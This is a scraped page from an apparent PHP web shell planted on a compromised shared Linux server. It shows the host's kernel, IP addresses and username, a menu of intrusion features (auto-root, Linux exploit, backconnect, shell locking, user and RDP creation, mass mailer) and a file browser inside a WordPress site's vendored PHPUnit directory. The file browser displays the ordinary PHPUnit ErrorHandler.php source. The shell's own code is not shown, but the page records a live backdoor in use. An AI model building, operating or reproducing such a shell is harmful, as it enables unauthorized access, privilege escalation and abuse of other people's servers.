Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
phpunit /
phpunit /
src /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Log
[ DIR ]
drwxr-xr-x
PHP
[ DIR ]
drwxr-xr-x
TestDox
[ DIR ]
drwxr-xr-x
Blacklist.php
3.36
KB
-rw-r--r--
Configuration.php
34.07
KB
-rw-r--r--
ConfigurationGenerator.php
1.83
KB
-rw-r--r--
ErrorHandler.php
3.32
KB
-rw-r--r--
Fileloader.php
1.62
KB
-rw-r--r--
Filesystem.php
800
B
-rw-r--r--
Filter.php
2.84
KB
-rw-r--r--
Getopt.php
4.53
KB
-rw-r--r--
GlobalState.php
5.31
KB
-rw-r--r--
InvalidArgumentHelper.php
1.03
KB
-rw-r--r--
PHP.php
10.44
KB
-rw-r--r--
Printer.php
3.32
KB
-rw-r--r--
Regex.php
881
B
-rw-r--r--
String.php
1.36
KB
-rw-r--r--
Test.php
34.59
KB
-rw-r--r--
TestSuiteIterator.php
1.95
KB
-rw-r--r--
Type.php
840
B
-rw-r--r--
XML.php
7.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorHandler.php
<?php /* * This file is part of PHPUnit. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ // Workaround for http://bugs.php.net/bug.php?id=47987, // see https://github.com/sebastianbergmann/phpunit/issues#issue/125 for details // Use dirname(__DIR__) instead of using /../ because of https://github.com/facebook/hhvm/issues/5215 require_once dirname(__DIR__) . '/Framework/Error.php'; require_once dirname(__DIR__) . '/Framework/Error/Notice.php'; require_once dirname(__DIR__) . '/Framework/Error/Warning.php'; require_once dirname(__DIR__) . '/Framework/Error/Deprecated.php'; /** * Error handler that converts PHP errors and warnings to exceptions. */ class PHPUnit_Util_ErrorHandler { protected static $errorStack = []; /** * Returns the error stack. * * @return array */ public static function getErrorStack() { return self::$errorStack; } /** * @param int $errno * @param string $errstr * @param string $errfile * @param int $errline * * @throws PHPUnit_Framework_Error */ public static function handleError($errno, $errstr, $errfile, $errline) { if (!($errno & error_reporting())) { return false; } self::$errorStack[] = [$errno, $errstr, $errfile, $errline]; $trace = debug_backtrace(false); array_shift($trace); foreach ($trace as $frame) { if ($frame['function'] == '__toString') { return false; } } if ($errno == E_NOTICE || $errno == E_USER_NOTICE || $errno == E_STRICT) { if (PHPUnit_Framework_Error_Notice::$enabled !== true) { return false; } $exception = 'PHPUnit_Framework_Error_Notice'; } elseif ($errno == E_WARNING || $errno == E_USER_WARNING) { if (PHPUnit_Framework_Error_Warning::$enabled !== true) { return false; } $exception = 'PHPUnit_Framework_Error_Warning'; } elseif ($errno == E_DEPRECATED || $errno == E_USER_DEPRECATED) { if (PHPUnit_Framework_Error_Deprecated::$enabled !== true) { return false; } $exception = 'PHPUnit_Framework_Error_Deprecated'; } else { $exception = 'PHPUnit_Framework_Error'; } throw new $exception($errstr, $errno, $errfile, $errline); } /** * Registers an error handler and returns a function that will restore * the previous handler when invoked * * @param int $severity PHP predefined error constant * * @throws Exception if event of specified severity is emitted */ public static function handleErrorOnce($severity = E_WARNING) { $terminator = function () { static $expired = false; if (!$expired) { $expired = true; // cleans temporary error handler return restore_error_handler(); } }; set_error_handler(function ($errno, $errstr) use ($severity) { if ($errno === $severity) { return; } return false; }); return $terminator; } }
Close